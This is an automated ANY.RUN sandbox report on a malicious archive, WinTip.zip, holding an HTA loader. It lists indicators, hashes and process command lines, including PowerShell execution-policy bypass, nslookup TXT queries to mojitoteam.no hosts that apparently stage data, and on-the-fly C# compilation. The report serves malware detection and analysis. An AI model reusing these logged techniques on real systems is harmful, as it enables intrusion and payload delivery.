File name:

WinTip.zip

Full analysis: https://app.any.run/tasks/9477021c-914a-442a-82be-f6f0eaac3d5e
Verdict: Malicious activity
Analysis date: April 29, 2025, 22:27:54
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
arch-scr
evasion
Indicators:
MIME: application/zip
File info: Zip archive data, at least v2.0 to extract, compression method=deflate
MD5:

55CD1F0E70261AA23FC6FEF909B02AAF

SHA1:

440767DCC0FBF4394173894D0A6F4405FDD4B485

SHA256:

73A9271A31246D91CC226718310AEE88FB3E74EB829232A5CC56B4BC6158A634

SSDEEP:

384:K+YAGRMzW+1SYiOvSdjUyqgnxomi1eMfWInTAcK+g74l34:K+YdRMF1SKvyUw/i1eMpAkgeI

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Generic archive extractor

      • WinRAR.exe (PID: 4784)

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 1240)
      • powershell.exe (PID: 4528)
      • powershell.exe (PID: 4628)
      • powershell.exe (PID: 2088)

    • Changes powershell execution policy (Bypass)

      • mshta.exe (PID: 5552)
      • mshta.exe (PID: 6584)
      • mshta.exe (PID: 5776)
      • mshta.exe (PID: 5260)

    • Downloads the requested resource (POWERSHELL)

      • powershell.exe (PID: 1240)

  • SUSPICIOUS

    • Identifying current user with WHOAMI command

      • cmd.exe (PID: 5984)
      • cmd.exe (PID: 7104)
      • cmd.exe (PID: 7144)
      • cmd.exe (PID: 1568)

    • Starts POWERSHELL.EXE for commands execution

      • mshta.exe (PID: 5552)
      • mshta.exe (PID: 6584)
      • mshta.exe (PID: 5776)
      • mshta.exe (PID: 5260)

    • Reads security settings of Internet Explorer

      • WinRAR.exe (PID: 4784)

    • Starts CMD.EXE for commands execution

      • mshta.exe (PID: 5552)
      • mshta.exe (PID: 6584)
      • mshta.exe (PID: 5776)
      • mshta.exe (PID: 5260)

    • Possibly malicious use of IEX has been detected

      • mshta.exe (PID: 5552)
      • mshta.exe (PID: 6584)
      • mshta.exe (PID: 5776)
      • mshta.exe (PID: 5260)

    • Probably download files using WebClient

      • mshta.exe (PID: 5552)
      • mshta.exe (PID: 6584)
      • mshta.exe (PID: 5776)
      • mshta.exe (PID: 5260)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 1240)

    • Uses NSLOOKUP.EXE to check DNS info

      • powershell.exe (PID: 1240)
      • powershell.exe (PID: 4528)
      • powershell.exe (PID: 4628)
      • powershell.exe (PID: 2088)

    • Checks for external IP

      • CCleaner64.exe (PID: 6416)

    • Application launched itself

      • CCleaner64.exe (PID: 1324)
      • CCleaner64.exe (PID: 6416)

    • Executable content was dropped or overwritten

      • CCleaner64.exe (PID: 6416)
      • CCleaner64.exe (PID: 6828)

    • Start notepad (likely ransomware note)

      • WinRAR.exe (PID: 4784)

  • INFO

    • Reads Microsoft Office registry keys

      • WinRAR.exe (PID: 4784)

    • Reads Internet Explorer settings

      • mshta.exe (PID: 5552)

    • Disables trace logs

      • powershell.exe (PID: 1240)

    • Checks proxy server information

      • powershell.exe (PID: 1240)

    • Reads the software policy settings

      • slui.exe (PID: 2980)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 1240)

    • Reads the machine GUID from the registry

      • csc.exe (PID: 1852)

    • Checks supported languages

      • csc.exe (PID: 1852)

    • Manual execution by a user

      • mspaint.exe (PID: 1180)
      • WINWORD.EXE (PID: 5548)
      • CCleaner64.exe (PID: 1324)
      • WINWORD.EXE (PID: 3760)
      • WINWORD.EXE (PID: 1004)

    • The sample compiled with english language support

      • CCleaner64.exe (PID: 6416)
      • CCleaner64.exe (PID: 6828)

    • Detects AutoHotkey samples (YARA)

      • CCleaner64.exe (PID: 6416)
      • CCleaner64.exe (PID: 6828)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipRequiredVersion: 20
ZipBitFlag: 0x0008
ZipCompression: Deflated
ZipModifyDate: 2025:04:08 14:17:32
ZipCRC: 0xc7dcd66e
ZipCompressedSize: 15874
ZipUncompressedSize: 28210
ZipFileName: WinTip.hta
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
205
Monitored processes
60
Malicious processes
3
Suspicious processes
7

Behavior graph

Click at the process to see the details
start winrar.exe no specs sppextcomobj.exe no specs slui.exe mshta.exe no specs cmd.exe no specs conhost.exe no specs whoami.exe no specs powershell.exe conhost.exe no specs nslookup.exe nslookup.exe slui.exe csc.exe no specs conhost.exe no specs mspaint.exe no specs winword.exe ai.exe no specs winword.exe ai.exe no specs winword.exe ai.exe no specs ccleaner64.exe no specs ccleaner64.exe ccleaner64.exe mshta.exe no specs cmd.exe no specs conhost.exe no specs whoami.exe no specs powershell.exe conhost.exe no specs nslookup.exe nslookup.exe csc.exe no specs conhost.exe no specs notepad.exe no specs notepad.exe no specs notepad.exe no specs mshta.exe no specs cmd.exe no specs conhost.exe no specs whoami.exe no specs powershell.exe conhost.exe no specs nslookup.exe nslookup.exe csc.exe no specs conhost.exe no specs mshta.exe no specs cmd.exe no specs conhost.exe no specs whoami.exe no specs powershell.exe conhost.exe no specs nslookup.exe nslookup.exe csc.exe no specs conhost.exe no specs notepad.exe no specs notepad.exe no specs notepad.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
236"C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\ai.exe" "AC93EEE7-7236-4348-85D0-83CF82DFAED4" "E0D5A31C-95AA-4681-BDCC-935B6AB46329" "1004"C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\ai.exe—WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Artificial Intelligence (AI) Host for the Microsoft® Windows® Operating System and Platform x64.
Exit code:
0
Version:
0.12.2.0
Modules
Images
c:\program files\microsoft office\root\vfs\programfilescommonx64\microsoft shared\office16\ai.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\common files\microsoft shared\clicktorun\appvisvsubsystems64.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\program files\common files\microsoft shared\clicktorun\c2r64.dll
c:\windows\system32\rpcrt4.dll
632"C:\WINDOWS\system32\nslookup.exe" -type=txt tz1.mojitoteam.noC:\Windows\SysWOW64\nslookup.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
nslookup
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\nslookup.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\ws2_32.dll
672"C:\WINDOWS\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /target:winexe /out:"C:\Users\admin\AppData\Local\Temp\timezone.exe" "C:\Users\admin\AppData\Local\Temp\timezone.cs"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe—mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Visual C# Command Line Compiler
Exit code:
1
Version:
4.8.9037.0 built by: NET481REL1
Modules
Images
c:\windows\microsoft.net\framework64\v4.0.30319\csc.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ole32.dll
736\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
864\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—csc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
920"C:\WINDOWS\system32\nslookup.exe" -type=txt tz2.mojitoteam.noC:\Windows\SysWOW64\nslookup.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
nslookup
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\nslookup.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\ws2_32.dll
924"C:\WINDOWS\system32\NOTEPAD.EXE" C:\Users\admin\AppData\Local\Temp\Diagnostics\WINWORD\App1745965764577292600_14850078-D264-425B-A452-DD6057466534.logC:\Windows\System32\notepad.exe—WinRAR.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Notepad
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\notepad.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\user32.dll
1004"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\admin\Desktop\effectno.rtf" /o ""C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
16.0.16026.20146
Modules
Images
c:\program files\microsoft office\root\office16\winword.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\program files\common files\microsoft shared\clicktorun\appvisvsubsystems64.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
1040"C:\WINDOWS\system32\nslookup.exe" -type=txt tz2.mojitoteam.noC:\Windows\SysWOW64\nslookup.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
nslookup
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\nslookup.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\ws2_32.dll
1128"C:\WINDOWS\system32\NOTEPAD.EXE" C:\Users\admin\AppData\Local\Temp\aria-debug-864.logC:\Windows\System32\notepad.exe—WinRAR.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Notepad
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\notepad.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\user32.dll
Total events
87 720
Read events
86 117
Write events
1 373
Delete events
230

Modification events

(PID) Process:(4784) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:3
Value:
C:\Users\admin\Desktop\preferences.zip
(PID) Process:(4784) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:2
Value:
C:\Users\admin\Desktop\chromium_ext.zip
(PID) Process:(4784) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:1
Value:
C:\Users\admin\Desktop\omni_23_10_2024_.zip
(PID) Process:(4784) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\AppData\Local\Temp\WinTip.zip
(PID) Process:(4784) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(4784) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(4784) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
(PID) Process:(4784) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:mtime
Value:
100
(PID) Process:(4784) WinRAR.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\3c\52C64B7E
Operation:writeName:@C:\Windows\System32\mshta.exe,-6412
Value:
HTML Application
(PID) Process:(4784) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\DialogEditHistory\ExtrPath
Operation:delete valueName:15
Value:
Executable files
6
Suspicious files
176
Text files
47
Unknown types
0

Dropped files

PID
Process
Filename
Type
4784WinRAR.exeC:\Users\admin\AppData\Local\Temp\WinTip.htahtml
MD5:F56B2C29F093D1E3B196CD8029BEA8A8
SHA256:752D5EDBC5B7D95A818B98A6035EC97EFD7C3965047A63A9C931A63F652BC954
1240powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:A6CD372264C8C1BBD99AAC3B00AAF3FD
SHA256:C84D11BA124E925DDF05E4EAE99D1E1C5E159DC5DFAE3D12EEBFC4478D995E7A
5548WINWORD.EXEC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9binary
MD5:FB60FF789C58BC6CDCCF1F388665810F
SHA256:D0D379988D4ED6E4ACBE57E83246B62FE36DACBF96793173F626B7E31FDFB8E4
5552mshta.exeC:\Users\admin\AppData\Local\Temp\carbon.htahtml
MD5:F56B2C29F093D1E3B196CD8029BEA8A8
SHA256:752D5EDBC5B7D95A818B98A6035EC97EFD7C3965047A63A9C931A63F652BC954
5548WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\DDAC09C2-FA21-4383-8CCE-5F29B93EA236xml
MD5:E95B08C7D78D94AE49F14B0C2054C047
SHA256:C8971F6643443D92F8FF18858B8174D8D195967A57DC6FF35B9D3DD20EFBAC87
1240powershell.exeC:\Users\admin\AppData\Local\Temp\timezone.cstext
MD5:38520E3B29A6553032CFDA26261D45EC
SHA256:6BF46EC84A532FB48F9D3F0E80555D63675814E6219DCC8BF8CEF0A8B46BEF50
1240powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_i5kekavh.hxf.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
1240powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_rklcfxca.1fh.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
5548WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\16.0\AddInClassifierCache\OfficeSharedEntitiesUpdated.bintext
MD5:BD2A34AD1B5A3E1ACE4363D5D06EB891
SHA256:1B7B819F80BAAEC967AFDFE15ACD02D60230C7A71CFC5FB0283D193BE1DAE6AC
5548WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmbinary
MD5:7092681D9C192EF67E49174A3F7A2D8B
SHA256:83D0F89A562A5F44D9FB31ADDAE143629EC7C3CF162824CF3F36D5F574DE5ABB
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
18
TCP/UDP connections
68
DNS requests
73
Threats
2

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
200
23.216.77.20:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
—
—
GET
200
2.23.246.101:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
4268
SIHClient.exe
GET
200
2.23.246.101:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
5548
WINWORD.EXE
GET
200
184.30.131.245:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA77flR%2B3w%2FxBpruV2lte6A%3D
unknown
—
—
whitelisted
4268
SIHClient.exe
GET
200
2.23.246.101:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
6416
CCleaner64.exe
GET
200
184.30.131.245:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAbY2QTVWENG9oovp1QifsQ%3D
unknown
—
—
whitelisted
6544
svchost.exe
GET
200
184.30.131.245:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
6416
CCleaner64.exe
GET
200
142.250.184.195:80
http://ocsp.pki.goog/gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D
unknown
—
—
whitelisted
6416
CCleaner64.exe
GET
200
142.250.184.195:80
http://o.pki.goog/s/wr3/bBg/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQSq0i5t2Pafi2Gw9uzwnc7KTctWgQUx4H1%2FY6I2QA8TWOiUDEkoM4j%2FiMCEGwY1bOiaIYyCQBbxs0Wu5Q%3D
unknown
—
—
whitelisted
6416
CCleaner64.exe
GET
200
23.50.131.77:80
http://ncc.avast.com/ncc.txt
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2104
svchost.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
—
—
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
23.216.77.20:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
—
—
2.23.246.101:80
www.microsoft.com
Ooredoo Q.S.C.
QA
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
3216
svchost.exe
172.211.123.249:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
FR
whitelisted
6544
svchost.exe
20.190.159.129:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
6544
svchost.exe
184.30.131.245:80
ocsp.digicert.com
AKAMAI-AS
US
whitelisted
2112
svchost.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.104.136.2
  • 40.127.240.158
whitelisted
crl.microsoft.com
  • 23.216.77.20
  • 23.216.77.28
  • 23.216.77.25
  • 23.216.77.22
  • 23.216.77.8
  • 23.216.77.42
  • 23.216.77.36
whitelisted
www.microsoft.com
  • 2.23.246.101
whitelisted
google.com
  • 142.250.181.238
whitelisted
client.wns.windows.com
  • 172.211.123.249
whitelisted
login.live.com
  • 20.190.159.129
  • 40.126.31.129
  • 20.190.159.131
  • 20.190.159.23
  • 40.126.31.130
  • 20.190.159.75
  • 40.126.31.73
  • 20.190.159.130
whitelisted
ocsp.digicert.com
  • 184.30.131.245
whitelisted
slscr.update.microsoft.com
  • 52.149.20.212
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 13.95.31.18
whitelisted
activation-v2.sls.microsoft.com
  • 40.91.76.224
whitelisted

Threats

PID
Process
Class
Message
2196
svchost.exe
Misc activity
ET INFO External IP Lookup Service in DNS Query (ip-info .ff .avast .com)
6416
CCleaner64.exe
Misc activity
ET INFO Observed External IP Lookup Domain (ip-info .ff .avast .com) in TLS SNI
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
WinTip.zip